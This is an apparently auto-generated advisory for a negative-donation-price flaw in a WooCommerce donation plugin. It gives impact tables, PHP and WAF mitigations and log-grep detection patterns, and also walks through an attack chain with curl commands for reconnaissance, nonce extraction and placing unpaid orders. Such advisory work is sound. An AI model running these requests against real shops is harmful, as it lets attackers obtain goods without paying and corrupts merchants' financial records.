CVE-2026-142780 — I Thirteen Web Solution Simple Donation For Woo — CWE-1284
Simple Donation For Woo Lite before 1.0.1 contains a business logic vulnerability that allows unauthenticated attackers to set negative donation prices by supplying a negative donation_amt parameter through the standard WooCommerce add-to-cart request. Attackers can use the publicly exposed add_to_cart_donation nonce to add a negative-priced donation line that offsets cart totals, placing orders for products without paying.
Simple Donation For Woo Lite before 1.0.1 contains a business logic vulnerability that allows unauthenticated attackers to set negative donation prices by supplying a negative donation_amt parameter through the standard WooCommerce add-to-cart request. Attackers can use the publicly exposed add_to_cart_donation nonce to add a negative-priced donation line that offsets cart totals, placing orders for products without paying.
CVE‑2026‑142780 – Simple Donation For Woo Lite (1.0.1) – Business‑Logic Vulnerability
| Item | Detail |
|---|---|
| CVE ID | CVE‑2026‑142780 |
| Published | 03 Dec 2026 |
| CVSS v4.0 | 8.7/10 (HIGH) |
| Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N |
| CWE | CWE‑1284 (Business‑Logic Flaw) |
| Affected Product | Simple Donation For Woo Lite < 1.0.1 |
| CISA KEV | No |
| Ransomware | No |
Description – The plugin accepts adonation_amtparameter in the standard WooCommerce add‑to‑cart request. No validation is performed to ensure the value is positive. Theadd_to_cart_donationnonce is publicly exposed, so an unauthenticated user can craft a request that adds a negative‑priced donation line item. The negative line item offsets the cart total, allowing the attacker to place orders for products without paying.
🎯 What is this vulnerability?
Technical Root Cause
1. Missing Input Validation – The plugin reads$_POST['donation_amt'] (or $_GET['donation_amt'] depending on the form) and uses it directly as the line‑item price when adding the donation to the cart.
2. No Value‑Range Check – There is no check that the amount is greater than zero; negative values are accepted.
3. Publicly Exposed Nonce – The add_to_cart_donation nonce is rendered in the page markup and is not tied to a logged‑in session. Consequently, anyone can obtain the nonce and use it in a crafted request.
4. Business‑Logic Flaw – WooCommerce calculates the cart total by summing all line‑item prices. A negative donation line item subtracts from the total, potentially driving the order total to zero or negative.Impact on the System
- Integrity – The financial data (order totals, revenue, tax calculations) is corrupted.
- Confidentiality – Not directly affected.
- Availability – Not directly affected; the flaw does not crash the system.
- Business Impact – Loss of revenue, potential accounting errors, and customer‑trust erosion.
⚡ Attack Chain
NOTE: The exact endpoint (/wp-admin/admin-ajax.php?action=add_to_cart_donationor similar) is illustrative; the real plugin may expose the nonce in a different location. The mechanics below apply to any standard WooCommerce add‑to‑cart flow that accepts adonation_amtparameter.
1. Discovery & Reconnaissance
| Step | Technique | Tools |
|---|---|---|
| a. Identify WordPress & Plugin | Scan the target domain for WordPress signatures (/wp-admin/, /wp-content/). | wpscan, dirsearch, curl -I https://example.com/wp-content/plugins/simple-donation-for-woo-lite/readme.txt |
| b. Determine Plugin Version | Retrieve the plugin header or readme file. | curl https://example.com/wp-content/plugins/simple-donation-for-woo-lite/readme.txt → look for Stable tag: 1.0.0 |
| c. Locate Donation Page | Browse the site or search for “donation” in the URL. | Browser, grep on local copy of the site |
| d. Extract Nonce | View page source; locate add_to_cart_donation nonce. | Browser dev tools, curl https://example.com/donation → grep -o 'add_to_cart_donation_nonce":"[^"]*' |
2. Exploitation
| Step | Action | Example |
|---|---|---|
| a. Craft POST request | Use the discovered nonce and a negative donation_amt. | curl -X POST https://example.com/?add-to-cart=donation_product_id \<br>-d "donation_amt=-100" \<br>-d "add_to_cart_donation_nonce=abc123" \<br>-d "quantity=1" \<br>-c cookies.txt -b cookies.txt |
| b. Add negative donation | The plugin adds a line item priced at –$100 to the cart. | The cart total is reduced by $100. |
| c. Add product(s) | Add desired product(s) to the cart. | curl -X POST https://example.com/?add-to-cart=product_id \<br>-d "quantity=1" \<br>-c cookies.txt -b cookies.txt |
| d. Checkout | Proceed to checkout; the negative donation offsets the product cost. | curl -X POST https://example.com/checkout \<br>-d "billing_first_name=John" … \<br>-c cookies.txt -b cookies.txt |
| e. Order is created | WooCommerce processes the order with a total of $0 (or negative). | Order appears in the admin panel; email notifications may be sent. |
Illustrative Payload
> curl -X POST https://example.com/?add-to-cart=donation_product_id \ > -d "donation_amt=-50" \ > -d "add_to_cart_donation_nonce=abcd1234" \ > -d "quantity=1" \ > -c /tmp/cookies.txt -b /tmp/cookies.txt >
3. Post‑Exploitation
| Goal | Technique | Result |
|---|---|---|
| a. Revenue Loss | Place multiple orders with negative donations to offset product prices. | Store records sales that were never paid for. |
| b. Accounting Anomalies | Orders with zero or negative totals can trigger tax mis‑calculations or refunds. | Potential audit trail issues. |
| c. Customer‑Trust Erosion | If the store processes orders for free, customers may suspect fraud or mis‑management. | Brand damage. |
| d. Automated Abuse | Script the exploit to create thousands of orders, overwhelming the order‑management system. | Denial‑of‑service at the business‑logic level. |
No privilege escalation or remote code execution is possible; the impact is confined to the e‑commerce transaction flow.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality | None. |
| Integrity | Order totals, revenue figures, and tax calculations are corrupted. |
| Availability | Not directly affected; however, a flood of zero‑total orders could strain the checkout system. |
| Business Impact | Loss of revenue, potential legal liabilities (if customers are billed incorrectly), and damage to reputation. |
The CVSS vector (VI:H) indicates a high impact on the integrity of the system’s financial data. The lack of authentication (PR:N) and user interaction (UI:N) means the flaw can be exploited by any internet user.
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fix |
|---|---|
Simple Donation For Woo Lite < 1.0.1 | Upgrade to 1.0.1 or later. The patch adds server‑side validation that donation_amt must be a positive number and restricts the nonce to logged‑in users. |
Recommendation: Immediately update the plugin via the WordPress admin panel or by replacing the plugin folder.
2. Workarounds (If patch cannot be applied immediately)
a. Server‑Side Validation (PHP)
Add the following snippet to the theme’sfunctions.php or a site‑wide plugin:add_filter( 'woocommerce_add_to_cart_validation', 'sdwlt_prevent_negative_donation', 10, 3 );
function sdwlt_prevent_negative_donation( $passed, $product_id, $quantity ) {
if ( isset( $_POST['donation_amt'] ) ) {
$amt = floatval( $_POST['donation_amt'] );
if ( $amt < 0 ) {
wc_add_notice( __( 'Donation amount must be a positive value.', 'simple-donation-for-woo-lite' ), 'error' );
return false;
}
}
return $passed;
}b. ModSecurity / WAF Rule
# Block negative donation amounts
SecRule ARGS:donation_amt "@rx ^-\\d" \
"phase:2,deny,status:400,msg:'Negative donation amount detected',id:100001"c. Disable Public Nonce Exposure
If the plugin exposes the nonce in the page source, you can block the endpoint that generates it for unauthenticated users:# Example: block access to the AJAX action for non‑logged‑in users
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$
RewriteCond %{QUERY_STRING} action=add_to_cart_donation
RewriteCond %{REMOTE_USER} ^$
RewriteRule ^ - [F,L]
</IfModule>d. Restrict Add‑to‑Cart for Donations
Configure WooCommerce to allow donations only for logged‑in users:add_filter( 'woocommerce_add_to_cart_validation', 'sdwlt_require_login_for_donation', 10, 3 );
function sdwlt_require_login_for_donation( $passed, $product_id, $quantity ) {
if ( is_user_logged_in() ) {
return $passed;
}
// Assuming donation product ID is 123
if ( $product_id == 123 ) {
wc_add_notice( __( 'Please log in to add a donation.', 'simple-donation-for-woo-lite' ), 'error' );
return false;
}
return $passed;
}3. Detection
| Indicator | Log Pattern | How to Search |
|---|---|---|
| Negative donation_amt | donation_amt=- | grep -R "donation_amt=-" /var/log/apache2/access.log |
| Zero or negative order totals | order_total":0 or order_total":"- | grep -R "\"order_total\"" /var/log/woocommerce/ |
| Repeated add‑to‑cart requests with same nonce | add_to_cart_donation_nonce= | grep -R "add_to_cart_donation_nonce" /var/log/apache2/access.log |
| Unusual number of orders with zero total | order_status":"completed" "total":"0 | grep -R "\"total\":\"0\"" /var/log/woocommerce/orders.log |
Tip: Enable WooCommerce logging (WooCommerce → Settings → Advanced → Logging) and monitor thedebug.logforOrder totalanomalies.
⚠️ Urgency
| Metric | Value | Interpretation |
|---|---|---|
| CVSS Score | 8.7 | High impact on financial integrity. |
| Exploit Complexity | Low (AC:L) | Requires only a crafted HTTP request. |
| Authentication | None (PR:N) | Any internet user can exploit. |
| User Interaction | None (UI:N) | No UI needed; automated scripts can be used. |
| CISA KEV | No | No known widespread exploitation yet. |
Priority: Immediate.
Bottom line: The flaw is a classic business‑logic bug that lets attackers create free orders by injecting a negative donation. The impact is purely financial, but the ease of exploitation makes it a high‑priority issue for any WooCommerce store running an affected version of Simple Donation For Woo Lite.
[🤖 CVE Professor AI Security Engine]
FOFA Query